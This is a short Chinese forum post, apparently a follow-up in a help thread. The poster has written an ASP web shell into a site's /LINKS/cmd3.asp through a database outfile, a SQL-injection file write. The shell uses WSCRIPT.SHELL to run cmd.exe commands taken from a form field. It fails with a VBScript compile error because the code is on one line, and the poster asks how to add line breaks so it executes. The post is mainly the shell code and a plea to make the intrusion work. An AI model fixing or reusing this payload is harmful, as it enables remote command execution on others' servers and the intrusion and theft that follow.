补充
因为asp中间需要换行,不换行就不能执行
我把所有asp语句连成一个长的字符串,中间没有回车
结果outfile后就ok,但因为没有换行,结果肯定不能执行
运行结果如下
Microsoft VBScript 编译器错误 错误 '800a0401'
语句未结束
/LINKS/cmd3.asp, 行1
Dim oScript,oScriptNet,oFileSys,oFile,szCMD,szTempFile On Error Resume Next Set oScript=Server.CreateObject(""WSCRIPT.SHELL"") Set oScriptNet =Server.CreateObject(""WSCRIPT.NETWORK"") Set oFileSys =Server.CreateObject(""Scripting.FileSystemObject"") szCMD = Request.Form("".CMD"")If (szCMD <> """") Then szTempFile = ""C://" & oFileSys.GetTempName() Call oScript.Run (""cmd.exe /c "" & szCMD & "" > "" & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If
-------------------------------------------------------^
也就是说现在怎么从数据库中outfile时,在on error resume(上方) 前+上换行